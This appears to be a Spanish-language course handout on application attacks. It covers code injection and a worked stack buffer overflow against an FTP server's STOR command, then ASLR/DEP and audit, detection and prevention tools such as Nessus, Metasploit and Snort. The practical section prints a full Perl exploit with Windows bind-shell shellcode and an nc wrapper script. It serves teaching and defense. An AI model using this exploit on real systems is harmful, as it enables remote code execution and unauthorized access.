You are on page 1of 14

ATAQUE A APLICACIONES

INGENIERIA DE TELECOMUNICACIONES

Conceptos generales de exploit de aplicaciones


Se define el cdigo malicioso (malware) como cualquier programa, documento
o mensaje que puede causar daos en los dispositivos o servicios de red. En
esta categora se encuentran los virus, troyanos, exploits, etc.
Un exploit es un programa creado para aprovechar un error de programacin o
una deficiencia en el sistema que permita obtener informacin sensible o
acceso no autorizado a un recurso. Por lo tanto, existen muchos tipos de
exploits, la revisin de todo el malware y las tcnicas de intrusin es
demasiado extensa para incluirla en este documento, sin embargo, se cubrirn
a grosso modo las principales tcnicas.
Inyeccin de cdigo
La inyeccin de cdigo es una de las principales estrategias para crear exploits.
Existen muchas tcnicas para inyectar cdigo en sitios web y servidores. El
objetivo final es enviar cdigo al servidor y esperar a que este lo procese,
teniendo as control sobre la victima.
La mayora de ataques de inyeccin de cdigo podran evitarse si se validaran
adecuadamente los datos de entrada a las aplicaciones, son estos puntos
donde la aplicacin es mas sensible. (Ver errores de programacin)
Ataques por desbordamiento de buffer
El vector de ataque por desbordamiento de buffer ha sido abusado por dcadas
para conseguir la ejecucin de cdigo arbitrario (local o remoto). Las primeras
discusiones de esta vulnerabilidad se publicaron a inicios de los aos 80, pero
es importante mencionar los aportes realizados por Aleph One en la revista
phcrack sobre el tema. La tcnica revelada por Aleph One demuestra como se
puede manipular la ejecucin de un programa al sobreescribir el registro de
instrucciones (Llamado EIP Enhanced Instruction Pointer en las arquitecturas
Intel) para llevar el procesamiento hasta el cdigo inyectado en la pila del
proceso. Una vez que se puede manipular el flujo de ejecucin debe buscarse
una posicin de memoria adecuada para almacenar el cdigo arbitrario
(usualmente malicioso) y dirigir el flujo del programa hasta all.

Caso prctico: Ataques por desbordamiento de buffer


Si usted no est familiarizado con las instrucciones bsicas de ensamblador
para el procesador que desea atacar y los registros del mismo es indispensable
que realice labores de investigacin antes de continuar, igualmente es
importante conocer la forma en que los diferentes sistemas operativos
administran la memoria.
Suponga que se ha encontrado un fallo en un servidor ftp, el fallo sucede
cuando procesa la instruccin STOR con argumentos de 1000 bytes o ms.
Una captura del depurador puede mostrar el estado de los registros despus
de que el buffer se desborda.

Note que el buffer ha sobreescrito segmentos de memoria y en algn punto


lleg hasta el EIP. Ahora, es posible intervenir en el flujo del programa para
dirigirlo a algn cdigo arbitrario, a este tipo de cdigo se le conoce como
payload o shell code.
CONTROLAR EL EIP
Para continuar es importante encontrar los 4 bytes especificos que han
sobreescrito el registro, una posible solucin al problema es realizar una
bsqueda de arbol binario dentro del buffer y as identificar que caracteres son
los que lo sobreescriben; sin embargo, puede ser mas til enviar una cadena
UNICA donde no se repita ninguna secuencia de 4 bytes, la herramienta
metasploit contiene una utilidad llamada pattern_create.rb, veamos como se
usa.

Reemplazando este buffer en se puede ver como se sobreescribe el EIP con


42326742, que corresponde a Bg2B (recuerde que el procesador intel es Little
Endian). Si observamos el patrn podemos ver que se ha sobreescrito en el
byte 966 hasta el 970.

Para verificar que este es el caso, se ha enviado un buffer de datos con 966
0x41 , 4 0x42, y 1000 0x43.

Note que el apuntador de pila parece apuntadr a las C 0x43 enviadas.

Manejando el flujo de la aplicacin


Hasta ahora se ha encontrado un lugar para almacenar el shellcode, es decir
las 1000 C (0x43) que enviadas. Se Podra hacer que el EIP apuntara a la
direccin que contiene el ESP, pero esto solo funcionara en algunos casos. La
direccin de memoria de los programas puede variar dependiendo de mltiples
factores, como nombre de usuario que ejecuta el proceso, variables de
entorno, etc. Una posible solucin es intentar ejecutar la instruccin JMP ESP
(Ya que es el ESP quien tiene la direccin del buffer inyectado), el problema es
que no es posible insertar la instruccin directamente en el EIP (el EIP
almacena posiciones de memoria, no instrucciones), una buena estrategia es
buscar dicha instruccin en los dll del sistema operativo (sus direcciones son
estticas en los diferentes service packs e idiomas).
Direccin de retorno
Es simple encontrar la direccin de retorno usando, simplemente cargue una
de las bibliotecas dll en el depurador, la biblioteca API de usuarios USER32.dll
es una buena alternativa. Si se inspecciona esta biblioteca puede encontrarse
la instruccin deseada. Recuerde que esta direccin depende del service pack
y el idioma usado.

Como se ve en la figura, en una maquina WINDOWS XP SP2 la biblioteca


USER32.dll contiene en memoria la orden deseada, justo en la posicin
77D5AF0A, as que estos sern los datos que se enviarn en el buffer (en la
regin de los 4 bytes que sobreescriben el EIP), esto hace que la siguiente
instruccin a ejecutar sea JMP ESP, paso siguiente el flujo del programa
debera aterrizar donde apunta el ESP.
GENERACION DE SHELLCODE
Es posible generar cualquier programa e inyectar los opcode del mismo en el

flujo del aplicativo atacado; sin embargo, una alternativa es utilizar algunas
herramientas que existen para generarlo, metasploit cuenta con un generador
de shellcode muy til.

Este cdigo contiene 308 bytes, de un bind shell en el puerto 4444. Un bind
shell es un programa que espera conexiones en dicho puerto y una vez que
alguien accede se le entrega una lnea interactiva de comandos. La siguiente
captura muestra el resultado final de la ejecucin del exploit.
Note como se ha obtenido una lnea de comandos interactiva. A continuacin
se muestra el archivo autoPWN.sh.
#!/bin/bash
perl ./exploit.pl
echo "Don't worry we will get the shell for you"
nc 192.168.XX.XX 4444

Ya habr notado que todo lo que hace este script es llamar a otro script, y
luego llamar a netcat para acceder a la lnea de comandos interactiva. A
continuacin se muestra el cdigo de exploit.pl.

#!/usr/bin/perl
# THIS FILE IS A POC FOR UDE@, TO TEACH BOF.
use LWP::Socket;
use strict;
# SOME NICE VARIABLES
my $victim = '192.168.XX.XXX'; #please hardcode this
my $victim_port = '21';
#MAIN
my $buffer = "\x41"x965;
$buffer .= "\x81\x42\xF3\x77";#77D5AF0A

$buffer .= "\x90"x16;# Unavailible space


$buffer .= "\x90"x16;# Mejoramos el padding!
# windows/shell_bind_tcp - 317 bytes
# http://www.metasploit.com
# EXITFUNC=seh, LPORT=4444
$buffer .="\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" .
"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" .
"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" .
"\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" .
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" .
"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" .
"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" .
"\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" .
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" .
"\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" .
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53" .
"\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1" .
"\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff" .
"\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0\x68" .
"\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93" .
"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" .
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a" .
"\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93" .
"\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44" .
"\xff\xd6\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51" .
"\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37" .
"\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6\x52\xff\xd0\x68" .
"\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
$buffer .= "\x90"x754;# NOP
my $cmd = 'STOR '.$buffer;
my $receive;
my $socket = new LWP::Socket;
$socket->connect($victim, $victim_port);
print "\nMUAHHAHAHAHAHA OwNed!!, The victim is listening on port
4444 now :) \n";
$socket->write("USER ftp\r\n");
$socket->write("PASS 123\r\n");
$socket->read(\$receive);
#print $receive;
$socket->write("$cmd\r\n");
$socket->read(\$receive);
#print $receive;
$socket->write("QUIT \r\n");
$socket = undef; # close
sleep(2);

Sistemas operativos modernos


Como pudo apreciar, los ataques que manipulan la memoria representan un
riesgo de seguridad que puede tener un impacto devastador sobre los
sistemas, ya que permiten a un atacante la ejecucin remota o local de cdigo
arbitrario.
Las vulnerabilidades existen debido a un mal desarrollo de software. La mejor
alternativa para evitar las vulnerabilidades, riesgos de seguridad e incidentes
es un buen cdigo, no se debera depender del sistema operativo para que se
encargue de la seguridad de las aplicaciones desarrolladas, este debera
otorgar la ltima lnea de defensa.
Las actividades de desarrollo de exploits han llevado a los fabricantes de
sistemas operativos a preocuparse por la seguridad desde el diseo del
sistema, y han incluido nuevas estrategias para mitigar los efectos de estos.
Las nuevas tendencias en mecanismos de prevencin de ataques del tipo de
desbordamiento de buffer son un difcil reto para los desarrolladores de
exploits y analistas de vulnerabilidades.
En la actualidad los mecanismos mas relevantes para aegurar el sistema
operativo, son ASLR y DEP/NX, estas tecnologas previenen la manipulacin
del ujo del programa vctima. DEP/NX es muy importante, por que es un
enfoque basado en hardware para prevenir la ejecucin del cdigo inyectado,
su funcionamiento es marcar las regiones de datos (como la pila) como no
ejecutable, de este modo no se puede direccionar el ujo del programa hasta
el cdigo malicioso.
ASLR por su lado, intenta mitigar los
general al prevenir que un atacante
direcciones de bibliotecas, cdigo, pila y
de memoria aleatorizando el espacio en
cdigo con cada ejecucin.

ataques de inyeccin de cdigo en


pueda predecir efectivamente las
el heap. ASLR ofusca las direcciones
que son cargadas estas regiones de

El sistema operativo OPENBSD ya ha implementado esta tcnica por algn


tiempo, igualmente esta caracterstica se encuentra disponible en FreeBSD.
Microsoft ha aadido ASLR a sus ltimos sistemas operativos (A partir de
Vista) y el kernel de Linux cuenta con estos mecanismos a travs de un parche
que se ha integrado al ncleo conocido como PAX.
Para demostrar el comportamiento de ASLR, se utiliza el cdigo de la figura 1.
Este cdigo escrito en lenguaje C sirve para imprimir el apuntador de pila
(ESP) en pantalla.
#include <stdio.h>
unsigned int printStack() {__asm__(movl %esp, %eax);}
int main(){printf(%x\n,printStack());}

Cdigo para imprimir el esp en pantalla

En la figura 2, se ejecuta simultneamente este programa y puede observarse


como el resultado no vara. Note como se ha deshabilitado ASLR en Linux,
esto se logra haciendo randomize_va_space igual a cero[Muller-2008].
might aslr $ ./printStack
bffff1c8
might aslr $ ./printStack
bffff1c8
might aslr $ ./printStack
bffff1c8
might aslr $ ./printStack
bffff1c8
might aslr $ ./printStack
bffff1c8
might aslr $ ./printStack
bffff1c8

Ejecucin del programa sin ASLR


Si se activa ASLR puede observarse un comportamiento aleatorio en las
direcciones de la pila.
might aslr $ ./printStack
bfc5c628
might aslr $ ./printStack
bfca1668
might aslr $ ./printStack
bfd07ec8
might aslr $ ./printStack
bfdc7788

Figura 1: Ejecucin del programa con


ASLR
Aunque estas tendencias son excelentes alternativas para la proteccin del
sistema, se han propuesto algunas tcnicas para evadirlas; lo cual rearma el
hecho de que la seguridad no es un producto, es un proceso.

Herramientas para auditora de vulnerabilidades


Para reducir el riesgo de que un atacante pueda aprovechar los sistemas
instalados en una organizacin para cometer delitos contra la organizacin o
contra terceros es una buena prctica realizar pruebas de intrusin. Las
pruebas de intrusin tratan de determinar si sus sistemas son susceptibles a
los ataques de un delincuente con altos conocimientos en informtica.
Estas pruebas son realizadas desde el exterior de la red, y por personas con
poco conocimiento sobre la arquitectura y tecnologa usada en el sistema. El
propsito es simular la situacin en la que se encontrara un atacante que
quisiera vulnerar a la organizacin.
Una vez que se tienen los resultados de la prueba de intrusin externa, se
procede a realizar una prueba interna para simular la situacin en la que se
encontrara un atacante interno (por ejemplo un empleado desleal) que
quisiera vulnerar la organizacin.
A continuacin se proponen algunas herramientas que pueden ser usadas con
ese propsito.
Nessus
De acuerdo al fabricante, Nessus es una herramienta para buscar
vulnerabilidades, con altas prestaciones en velocidad, auditora de
configuracin, perfil de activos, etc.
Nessus puede ser desplegado en arquitectura cliente/servidor y posee una
enorme lista de vulnerabilidades con las que verifica las aplicaciones.
Algunas de las caractersticas de Nessus son:

Escaneo de puertos con credenciales y sin credenciales


Bsqueda de vulnerabilidades de la red
Auditora de parches para sistemas Microsoft Windows y un completo
grupo de plataformas UNIX
Auditora de configuraciones
Pruebas a aplicaciones desarrolladas por terceros como JAVA, Skype,
Firefox, iTunes, etc.
Enumeracin de software en Unix y Microsoft Windows
Pruebas en las bases de datos de antivirus para verificar que se
encuentren actualizadas

Metasploit
Metasploit es un framework diseado para auditar sistemas y desarrollar
herramientas de auditora ofensiva. Est licenciado bajo GPL y permite a sus
usuarios utilizar su enorme base de datos de vulnerabilidades conocidas para

probar la efectividad de las mismas en los sistemas auditados.


Tambien tiene un conjunto de herramientas para verificar la explotabilidad de
una amenaza recin descubierta.
Metasploit viene con una interfaz grfica, una interfaz web, un interprete de
comandos y una herramienta para ser invocada desde el shell.
Su cdigo fuente est escrito en Ruby para garantizar portabilidad a
diferentes plataformas.
Herramientas de deteccin
Como se expuso anteriormente la deteccin es fundamental para mitigar el
impacto de una intrusin exitosa.
Algunas de las herramientas utilizadas en la deteccin son.
TCPDUMP
Tcpdump es una herramienta de captura de paquetes que se despliega con
libcap y es matenida por la comunidad de libcap. Tanto libcap como Tcpdump
tienen un desarrollo muy activo.
Se utiliza tcpdump para capturar trfico, los anlistas y equipos de atencin a
incidentes lo usan par descomponer y analizar el mismo. Para capturar el
trfico y enviarlo a la salida estndar se usa la sintaxis siguiente.
Como tal TCPDUMP y libcap no son muy avanzados pero han sido la base de
otros desarrollos exitosos como Wireshark, SNORT, etc.
SNORT
SNORT es uno de los IDS mas populares. Tiene una gran cantidad de
caractersticas que lo hacen ideal para la tarea de deteccin de intrusos.
Este IDS implementa un lenguaje de creacin de reglas flexible, potente y
sencillo. Durante su instalacin ya nos provee de cientos de filtros o reglas
para backdoor, DDoS, finger, FTP, ataques web, CGI, Nmap, etc.
Puede funcionar como sniffer (podemos ver en consola y en tiempo real qu
ocurre en nuestra red, todo nuestro trfico), registro de paquetes (permite
guardar en un archivo los logs para su posterior anlisis, un anlisis offline) o
como un IDS normal (en este caso NIDS). Cuando un paquete coincide con
algn patrn establecido en las reglas de configuracin, se logea. As se sabe
cuando, de donde y cmo se produjo el ataque.
An cuando tcpdump es considerada una herramienta de auditora muy til,
no se considera un verdadero IDS puesto que no analiza ni seala paquetes
por anomalas. tcpdump imprime toda la informacin de paquetes a la salida

en pantalla o a un archivo de registro sin ningn tipo de anlisis. Un


verdadero IDS analiza los paquetes, marca las transmisiones que sean
potencialmente maliciosas y las almacena en un registro formateado, as,
Snort utiliza la librera estndar libcap y tcpdump como registro de paquetes
en el fondo.
Snort est disponible bajo licencia GPL, gratuito y funciona bajo plataformas
Windows y UNIX/Linux. Dispone de una gran cantidad de filtros o patrones ya
predefinidos, as como actualizaciones constantes ante casos de ataques,
barridos o vulnerabilidades que vayan siendo detectadas a travs de los
distintos boletines de seguridad.1
LOG PARSER
Microsoft LOG PARSER es una herramienta que permite transformar datos en
texto (como los encontrados en la mayora de logs de UNIX) en datos que
pueden ser manipulados mediante diferentes consultas. Como tal puede
producir archivos XML, CSV, bases de datos SQL, etc.
Posteriormente estos datos pueden importarse a un programa de manejo de
datos para agilizar su consulta.
Herramientas de prevencin
Las herramientas de prevencin son las mas conocidas, estas intentan evitar
que un ataque tenga xito. A continuacin se presentan algunas herramientas
de prevencin.
Core-Force
Core-force es una herramienta de seguridad de usuario orientada a la
comunidad. Como tal es un cortafuegos de aplicacin que puede utilizar
perfiles para dar acceso a las redes.
Esta diseada computadores personales como los encontrados en el hogar o
en las estaciones de usuario de las organizaciones.
Algunas de sus caractersticas son:

Protege los equipos de gusanos, virus, e-mail ,etc.


Previene que el equipo sea usado como un zombie de un DDOS.
Previene la explotacin de bugs conocidos en el sistema operativo.
Previene la explotacin de bugs desconocidos en el sistema operativo y
las aplicaciones que corren en el sistema.
Detecta y previene la ejecucin de adware, spyware, caballos de troya,
etc.

SNORT in line
1 Tomado de Wikipedia http://es.wikipedia.org/wiki/SNORT

SNORT in line es una modificacin de SNORT para realizar tareas de


prevencin de intrusos. Utiliza un nuevo conjunto de reglas para enviar
mensajes a los cortafuegos IPTABLES (Linux) o Packet Filter (BSD) sobre si un
paquete debera ser ignorado, rechazado, modificado o permitido.
AVIRA
AVIRA es un antivirus libre que tiene un completo equipo de desarrollo y de
firmas de antivirus. Tiene una versin gratis para el uso en hogares. Es
desarrollado por expertos en seguridad y ha probado ser una buena
alternativa en el tema.

You might also like